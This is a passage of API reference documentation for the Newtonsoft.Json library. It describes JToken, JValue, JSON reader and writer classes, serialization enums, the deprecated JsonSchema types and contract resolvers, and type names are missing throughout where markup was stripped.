the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Asynchronously creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - The token to monitor for cancellation requests. The default value is . - - A that represents the asynchronous creation. The - property returns a that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Gets a comparer that can compare two tokens for value equality. - - A that can compare two nodes for value equality. - - - - Gets or sets the parent. - - The parent. - - - - Gets the root of this . - - The root of this . - - - - Gets the node type for this . - - The type. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Compares the values of two tokens, including the values of all descendant tokens. - - The first to compare. - The second to compare. - true if the tokens are equal; otherwise false. - - - - Gets the next sibling token of this node. - - The that contains the next sibling token. - - - - Gets the previous sibling token of this node. - - The that contains the previous sibling token. - - - - Gets the path of the JSON token. - - - - - Adds the specified content immediately after this token. - - A content object that contains simple content or a collection of content objects to be added after this token. - - - - Adds the specified content immediately before this token. - - A content object that contains simple content or a collection of content objects to be added before this token. - - - - Returns a collection of the ancestor tokens of this token. - - A collection of the ancestor tokens of this token. - - - - Returns a collection of tokens that contain this token, and the ancestors of this token. - - A collection of tokens that contain this token, and the ancestors of this token. - - - - Returns a collection of the sibling tokens after this token, in document order. - - A collection of the sibling tokens after this tokens, in document order. - - - - Returns a collection of the sibling tokens before this token, in document order. - - A collection of the sibling tokens before this token, in document order. - - - - Gets the with the specified key. - - The with the specified key. - - - - Gets the with the specified key converted to the specified type. - - The type to convert the token to. - The token key. - The converted token value. - - - - Get the first child token of this token. - - A containing the first child token of the . - - - - Get the last child token of this token. - - A containing the last child token of the . - - - - Returns a collection of the child tokens of this token, in document order. - - An of containing the child tokens of this , in document order. - - - - Returns a collection of the child tokens of this token, in document order, filtered by the specified type. - - The type to filter the child tokens on. - A containing the child tokens of this , in document order. - - - - Returns a collection of the child values of this token, in document order. - - The type to convert the values to. - A containing the child values of this , in document order. - - - - Removes this token from its parent. - - - - - Replaces this token with the specified token. - - The value. - - - - Writes this token to a . - - A into which this method will write. - A collection of which will be used when writing the token. - - - - Returns the indented JSON for this token. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - The indented JSON for this token. - - - - - Returns the JSON for this token using the given formatting and converters. - - Indicates how the output should be formatted. - A collection of s which will be used when writing the token. - The JSON for this token using the given formatting and converters. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to []. - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to of . - - The value. - The result of the conversion. - - - - Performs an explicit conversion from to . - - The value. - The result of the conversion. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from [] to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from to . - - The value to create a from. - The initialized with the specified value. - - - - Performs an implicit conversion from of to . - - The value to create a from. - The initialized with the specified value. - - - - Creates a for this token. - - A that can be used to read this token and its descendants. - - - - Creates a from an object. - - The object that will be used to create . - A with the value of the specified object. - - - - Creates a from an object using the specified . - - The object that will be used to create . - The that will be used when reading the object. - A with the value of the specified object. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the . - - The object type that the token will be deserialized to. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates an instance of the specified .NET type from the using the specified . - - The object type that the token will be deserialized to. - The that will be used when creating the object. - The new object created from the JSON value. - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - An positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Load a from a string that contains JSON. - - A that contains JSON. - A populated from the string that contains JSON. - - - - Load a from a string that contains JSON. - - A that contains JSON. - The used to load the JSON. - If this is null, default load settings will be used. - A populated from the string that contains JSON. - - - - Creates a from a . - - A positioned at the token to read into this . - The used to load the JSON. - If this is null, default load settings will be used. - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Creates a from a . - - A positioned at the token to read into this . - - A that contains the token and its descendant tokens - that were read from the reader. The runtime type of the token is determined - by the token type of the first token encountered in the reader. - - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A , or null. - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - A . - - - - Selects a using a JSONPath expression. Selects the token that matches the object path. - - - A that contains a JSONPath expression. - - The used to select tokens. - A . - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - A flag to indicate whether an error should be thrown if no tokens are found when evaluating part of the expression. - An of that contains the selected elements. - - - - Selects a collection of elements using a JSONPath expression. - - - A that contains a JSONPath expression. - - The used to select tokens. - An of that contains the selected elements. - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A new instance of the . - - - - Creates a new instance of the . All child tokens are recursively cloned. - - A object to configure cloning settings. - A new instance of the . - - - - Adds an object to the annotation list of this . - - The annotation to add. - - - - Get the first annotation object of the specified type from this . - - The type of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets the first annotation object of the specified type from this . - - The of the annotation to retrieve. - The first annotation object that matches the specified type, or null if no annotation is of the specified type. - - - - Gets a collection of annotations of the specified type for this . - - The type of the annotations to retrieve. - An that contains the annotations for this . - - - - Gets a collection of annotations of the specified type for this . - - The of the annotations to retrieve. - An of that contains the annotations that match the specified type for this . - - - - Removes the annotations of the specified type from this . - - The type of annotations to remove. - - - - Removes the annotations of the specified type from this . - - The of annotations to remove. - - - - Compares tokens to determine whether they are equal. - - - - - Determines whether the specified objects are equal. - - The first object of type to compare. - The second object of type to compare. - - true if the specified objects are equal; otherwise, false. - - - - - Returns a hash code for the specified object. - - The for which a hash code is to be returned. - A hash code for the specified object. - The type of is a reference type and is null. - - - - Represents a reader that provides fast, non-cached, forward-only access to serialized JSON data. - - - - - Gets the at the reader's current position. - - - - - Initializes a new instance of the class. - - The token to read from. - - - - Initializes a new instance of the class. - - The token to read from. - The initial path of the token. It is prepended to the returned . - - - - Reads the next JSON token from the underlying . - - - true if the next token was read successfully; false if there are no more tokens to read. - - - - - Gets the path of the current JSON token. - - - - - Specifies the type of token. - - - - - No token type has been set. - - - - - A JSON object. - - - - - A JSON array. - - - - - A JSON constructor. - - - - - A JSON object property. - - - - - A comment. - - - - - An integer value. - - - - - A float value. - - - - - A string value. - - - - - A boolean value. - - - - - A null value. - - - - - An undefined value. - - - - - A date value. - - - - - A raw JSON value. - - - - - A collection of bytes value. - - - - - A Guid value. - - - - - A Uri value. - - - - - A TimeSpan value. - - - - - Represents a writer that provides a fast, non-cached, forward-only way of generating JSON data. - - - - - Gets the at the writer's current position. - - - - - Gets the token being written. - - The token being written. - - - - Initializes a new instance of the class writing to the given . - - The container being written to. - - - - Initializes a new instance of the class. - - - - - Flushes whatever is in the buffer to the underlying . - - - - - Closes this writer. - If is set to true, the JSON is auto-completed. - - - Setting to true has no additional effect, since the underlying is a type that cannot be closed. - - - - - Writes the beginning of a JSON object. - - - - - Writes the beginning of a JSON array. - - - - - Writes the start of a constructor with the given name. - - The name of the constructor. - - - - Writes the end. - - The token. - - - - Writes the property name of a name/value pair on a JSON object. - - The name of the property. - - - - Writes a value. - An error will be raised if the value cannot be written as a single JSON token. - - The value to write. - - - - Writes a null value. - - - - - Writes an undefined value. - - - - - Writes raw JSON. - - The raw JSON to write. - - - - Writes a comment /*...*/ containing the specified text. - - Text to place inside the comment. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a [] value. - - The [] value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Writes a value. - - The value to write. - - - - Represents a value in JSON (string, integer, date, etc). - - - - - Writes this token to a asynchronously. - - A into which this method will write. - The token to monitor for cancellation requests. - A collection of which will be used when writing the token. - A that represents the asynchronous write operation. - - - - Initializes a new instance of the class from another object. - - A object to copy from. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Initializes a new instance of the class with the given value. - - The value. - - - - Gets a value indicating whether this token has child tokens. - - - true if this token has child values; otherwise, false. - - - - - Creates a comment with the given value. - - The value. - A comment with the given value. - - - - Creates a string with the given value. - - The value. - A string with the given value. - - - - Creates a null value. - - A null value. - - - - Creates a undefined value. - - A undefined value. - - - - Gets the node type for this . - - The type. - - - - Gets or sets the underlying token value. - - The underlying token value. - - - - Writes this token to a . - - A into which this method will write. - A collection of s which will be used when writing the token. - - - - Indicates whether the current object is equal to another object of the same type. - - - true if the current object is equal to the parameter; otherwise, false. - - An object to compare with this object. - - - - Determines whether the specified is equal to the current . - - The to compare with the current . - - true if the specified is equal to the current ; otherwise, false. - - - - - Serves as a hash function for a particular type. - - - A hash code for the current . - - - - - Returns a that represents this instance. - - - ToString() returns a non-JSON string value for tokens with a type of . - If you want the JSON for all token types then you should use . - - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format provider. - - A that represents this instance. - - - - - Returns a that represents this instance. - - The format. - The format provider. - - A that represents this instance. - - - - - Returns the responsible for binding operations performed on this object. - - The expression tree representation of the runtime value. - - The to bind this object. - - - - - Compares the current instance with another object of the same type and returns an integer that indicates whether the current instance precedes, follows, or occurs in the same position in the sort order as the other object. - - An object to compare with this instance. - - A 32-bit signed integer that indicates the relative order of the objects being compared. The return value has these meanings: - Value - Meaning - Less than zero - This instance is less than . - Zero - This instance is equal to . - Greater than zero - This instance is greater than . - - - is not of the same type as this instance. - - - - - Specifies how line information is handled when loading JSON. - - - - - Ignore line information. - - - - - Load line information. - - - - - Specifies how JSON arrays are merged together. - - - - Concatenate arrays. - - - Union arrays, skipping items that already exist. - - - Replace all array items. - - - Merge array items together, matched by index. - - - - Specifies how null value properties are merged. - - - - - The content's null value properties will be ignored during merging. - - - - - The content's null value properties will be merged. - - - - - Specifies the member serialization options for the . - - - - - All public members are serialized by default. Members can be excluded using or . - This is the default member serialization mode. - - - - - Only members marked with or are serialized. - This member serialization mode can also be set by marking the class with . - - - - - All public and private fields are serialized. Members can be excluded using or . - This member serialization mode can also be set by marking the class with - and setting IgnoreSerializableAttribute on to false. - - - - - Specifies metadata property handling options for the . - - - - - Read metadata properties located at the start of a JSON object. - - - - - Read metadata properties located anywhere in a JSON object. Note that this setting will impact performance. - - - - - Do not try to read metadata properties. - - - - - Specifies missing member handling options for the . - - - - - Ignore a missing member and do not attempt to deserialize it. - - - - - Throw a when a missing member is encountered during deserialization. - - - - - Specifies null value handling options for the . - - - - - - - - - Include null values when serializing and deserializing objects. - - - - - Ignore null values when serializing and deserializing objects. - - - - - Specifies how object creation is handled by the . - - - - - Reuse existing objects, create new objects when needed. - - - - - Only reuse existing objects. - - - - - Always create new objects. - - - - - Specifies reference handling options for the . - Note that references cannot be preserved when a value is set via a non-default constructor such as types that implement . - - - - - - - - Do not preserve references when serializing types. - - - - - Preserve references when serializing into a JSON object structure. - - - - - Preserve references when serializing into a JSON array structure. - - - - - Preserve references when serializing. - - - - - Specifies reference loop handling options for the . - - - - - Throw a when a loop is encountered. - - - - - Ignore loop references and do not serialize. - - - - - Serialize loop references. - - - - - Indicating whether a property is required. - - - - - The property is not required. The default state. - - - - - The property must be defined in JSON but can be a null value. - - - - - The property must be defined in JSON and cannot be a null value. - - - - - The property is not required but it cannot be a null value. - - - - - - Contains the JSON schema extension methods. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - true if the specified is valid; otherwise, false. - - - - - - Determines whether the is valid. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - When this method returns, contains any error messages generated while validating. - - true if the specified is valid; otherwise, false. - - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - - - - - Validates the specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - The source to test. - The schema to test with. - The validation event handler. - - - - - An in-memory representation of a JSON Schema. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the id. - - - - - Gets or sets the title. - - - - - Gets or sets whether the object is required. - - - - - Gets or sets whether the object is read-only. - - - - - Gets or sets whether the object is visible to users. - - - - - Gets or sets whether the object is transient. - - - - - Gets or sets the description of the object. - - - - - Gets or sets the types of values allowed by the object. - - The type. - - - - Gets or sets the pattern. - - The pattern. - - - - Gets or sets the minimum length. - - The minimum length. - - - - Gets or sets the maximum length. - - The maximum length. - - - - Gets or sets a number that the value should be divisible by. - - A number that the value should be divisible by. - - - - Gets or sets the minimum. - - The minimum. - - - - Gets or sets the maximum. - - The maximum. - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the minimum attribute (). - - A flag indicating whether the value can not equal the number defined by the minimum attribute (). - - - - Gets or sets a flag indicating whether the value can not equal the number defined by the maximum attribute (). - - A flag indicating whether the value can not equal the number defined by the maximum attribute (). - - - - Gets or sets the minimum number of items. - - The minimum number of items. - - - - Gets or sets the maximum number of items. - - The maximum number of items. - - - - Gets or sets the of items. - - The of items. - - - - Gets or sets a value indicating whether items in an array are validated using the instance at their array position from . - - - true if items are validated using their array position; otherwise, false. - - - - - Gets or sets the of additional items. - - The of additional items. - - - - Gets or sets a value indicating whether additional items are allowed. - - - true if additional items are allowed; otherwise, false. - - - - - Gets or sets whether the array items must be unique. - - - - - Gets or sets the of properties. - - The of properties. - - - - Gets or sets the of additional properties. - - The of additional properties. - - - - Gets or sets the pattern properties. - - The pattern properties. - - - - Gets or sets a value indicating whether additional properties are allowed. - - - true if additional properties are allowed; otherwise, false. - - - - - Gets or sets the required property if this property is present. - - The required property if this property is present. - - - - Gets or sets the a collection of valid enum values allowed. - - A collection of valid enum values allowed. - - - - Gets or sets disallowed types. - - The disallowed types. - - - - Gets or sets the default value. - - The default value. - - - - Gets or sets the collection of that this schema extends. - - The collection of that this schema extends. - - - - Gets or sets the format. - - The format. - - - - Initializes a new instance of the class. - - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The object representing the JSON Schema. - - - - Reads a from the specified . - - The containing the JSON Schema to read. - The to use when resolving schema references. - The object representing the JSON Schema. - - - - Load a from a string that contains JSON Schema. - - A that contains JSON Schema. - A populated from the string that contains JSON Schema. - - - - Load a from a string that contains JSON Schema using the specified . - - A that contains JSON Schema. - The resolver. - A populated from the string that contains JSON Schema. - - - - Writes this schema to a . - - A into which this method will write. - - - - Writes this schema to a using the specified . - - A into which this method will write. - The resolver used. - - - - Returns a that represents the current . - - - A that represents the current . - - - - - - Returns detailed information about the schema exception. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the line number indicating where the error occurred. - - The line number indicating where the error occurred. - - - - Gets the line position indicating where the error occurred. - - The line position indicating where the error occurred. - - - - Gets the path to the JSON where the error occurred. - - The path to the JSON where the error occurred. - - - - Initializes a new instance of the class. - - - - - Initializes a new instance of the class - with a specified error message. - - The error message that explains the reason for the exception. - - - - Initializes a new instance of the class - with a specified error message and a reference to the inner exception that is the cause of this exception. - - The error message that explains the reason for the exception. - The exception that is the cause of the current exception, or null if no inner exception is specified. - - - - Initializes a new instance of the class. - - The that holds the serialized object data about the exception being thrown. - The that contains contextual information about the source or destination. - The parameter is null. - The class name is null or is zero (0). - - - - - Generates a from a specified . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets how undefined schemas are handled by the serializer. - - - - - Gets or sets the contract resolver. - - The contract resolver. - - - - Generate a from the specified type. - - The type to generate a from. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - Generate a from the specified type. - - The type to generate a from. - The used to resolve schema references. - Specify whether the generated root will be nullable. - A generated from the specified type. - - - - - Resolves from an id. - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets or sets the loaded schemas. - - The loaded schemas. - - - - Initializes a new instance of the class. - - - - - Gets a for the specified reference. - - The id. - A for the specified reference. - - - - - The value types allowed by the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - No type specified. - - - - - String type. - - - - - Float type. - - - - - Integer type. - - - - - Boolean type. - - - - - Object type. - - - - - Array type. - - - - - Null type. - - - - - Any type. - - - - - - Specifies undefined schema Id handling options for the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Do not infer a schema Id. - - - - - Use the .NET type name as the schema Id. - - - - - Use the assembly qualified .NET type name as the schema Id. - - - - - - Returns detailed information related to the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - Gets the associated with the validation error. - - The JsonSchemaException associated with the validation error. - - - - Gets the path of the JSON location where the validation error occurred. - - The path of the JSON location where the validation error occurred. - - - - Gets the text description corresponding to the validation error. - - The text description. - - - - - Represents the callback method that will handle JSON schema validation events and the . - - - JSON Schema validation has been moved to its own package. See https://www.newtonsoft.com/jsonschema for more details. - - - - - - A camel case naming strategy. - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - - - Initializes a new instance of the class. - - - A flag indicating whether dictionary keys should be processed. - - - A flag indicating whether explicitly specified property names should be processed, - e.g. a property name customized with a . - - - A flag indicating whether extension data names should be processed. - - - - - Initializes a new instance of the class. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - Resolves member mappings for a type, camel casing property names. - - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used by to resolve a for a given . - - - - - Gets a value indicating whether members are being get and set using dynamic code generation. - This value is determined by the runtime permissions available. - - - true if using dynamic code generation; otherwise, false. - - - - - Gets or sets the default members search flags. - - The default members search flags. - - - - Gets or sets a value indicating whether compiler generated members should be serialized. - - - true if serialized compiler generated members; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the interface when serializing and deserializing types. - - - true if the interface will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore the attribute when serializing and deserializing types. - - - true if the attribute will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore IsSpecified members when serializing and deserializing types. - - - true if the IsSpecified members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets a value indicating whether to ignore ShouldSerialize members when serializing and deserializing types. - - - true if the ShouldSerialize members will be ignored when serializing and deserializing types; otherwise, false. - - - - - Gets or sets the naming strategy used to resolve how property names and dictionary keys are serialized. - - The naming strategy used to resolve how property names and dictionary keys are serialized. - - - - Initializes a new instance of the class. - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Gets the serializable members for the type. - - The type to get serializable members for. - The serializable members for the type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates the constructor parameters. - - The constructor to create properties for. - The type's member properties. - Properties for the given . - - - - Creates a for the given . - - The matching member property. - The constructor parameter. - A created for the given . - - - - Resolves the default for the contract. - - Type of the object. - The contract's default . - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Creates a for the given type. - - Type of the object. - A for the given type. - - - - Determines which contract type is created for the given type. - - Type of the object. - A for the given type. - - - - Creates properties for the given . - - The type to create properties for. - /// The member serialization mode for the type. - Properties for the given . - - - - Creates the used by the serializer to get and set values from a member. - - The member. - The used by the serializer to get and set values from a member. - - - - Creates a for the given . - - The member's parent . - The member to create a for. - A created for the given . - - - - Resolves the name of the property. - - Name of the property. - Resolved name of the property. - - - - Resolves the name of the extension data. By default no changes are made to extension data names. - - Name of the extension data. - Resolved name of the extension data. - - - - Resolves the key of the dictionary. By default is used to resolve dictionary keys. - - Key of the dictionary. - Resolved key of the dictionary. - - - - Gets the resolved name of the property. - - Name of the property. - Name of the property. - - - - The default naming strategy. Property names and dictionary keys are unchanged. - - - - - Resolves the specified property name. - - The property name to resolve. - The resolved property name. - - - - The default serialization binder used when resolving and loading classes from type names. - - - - - Initializes a new instance of the class. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - The type of the object the formatter creates a new instance of. - - - - - When overridden in a derived class, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the serialized object. - Specifies the name of the serialized object. - - - - Represents a trace writer that writes to the application's instances. - - - - - Gets the that will be used to filter the trace messages passed to the writer. - For example a filter level of will exclude messages and include , - and messages. - - - The that will be used to filter the trace messages passed to the writer. - - - - - Writes the specified trace level, message and optional exception. - - The at which to write this trace. - The trace message. - The trace exception. This parameter is optional. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides information surrounding an error. - - - - - Gets the error. - - The error. - - - - Gets the original object that caused the error. - - The original object that caused the error. - - - - Gets the member that caused the error. - - The member that caused the error. - - - - Gets the path of the JSON location where the error occurred. - - The path of the JSON location where the error occurred. - - - - Gets or sets a value indicating whether this is handled. - - true if handled; otherwise, false. - - - - Provides data for the Error event. - - - - - Gets the current object the error event is being raised against. - - The current object the error event is being raised against. - - - - Gets the error context. - - The error context. - - - - Initializes a new instance of the class. - - The current object. - The error context. - - - - Get and set values for a using dynamic methods. - - - - - Initializes a new instance of the class. - - The member info. - - - - Sets the value. - - The target to set the value on. - The value to set on the target. - - - - Gets the value. - - The target to get the value from. - The value. - - - - Provides methods to get attributes. - - - - - Returns a collection of all of the attributes, or an empty collection if there are no attributes. - - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Returns a collection of attributes, identified by type, or an empty collection if there are no attributes. - - The type of the attributes. - When true, look up the hierarchy chain for the inherited custom attribute. - A collection of s, or an empty collection. - - - - Used by to resolve a for a given . - - - - - - - - - Resolves the contract for a given type. - - The type to resolve a contract for. - The contract for a given type. - - - - Used to resolve references when serializing and deserializing JSON by the . - - - - - Resolves a reference to its object. - - The serialization context. - The reference to resolve. - The object that was resolved from the reference. - - - - Gets the reference for the specified object. - - The serialization context. - The object to get a reference for. - The reference to the object. - - - - Determines whether the specified object is referenced. - - The serialization context. - The object to test for a reference. - - true if the specified object is referenced; otherwise, false. - - - - - Adds a reference to the specified object. - - The serialization context. - The reference. - The object to reference. - - - - Allows users to control class loading and mandate what class to load. - - - - - When implemented, controls the binding of a serialized object to a type. - - Specifies the name of the serialized object. - Specifies the name of the serialized object - The type of the object the formatter creates a new instance of. - - - - When implemented, controls the binding of a serialized object to a type. - - The type of the object the formatter creates a new instance of. - Specifies the name of the 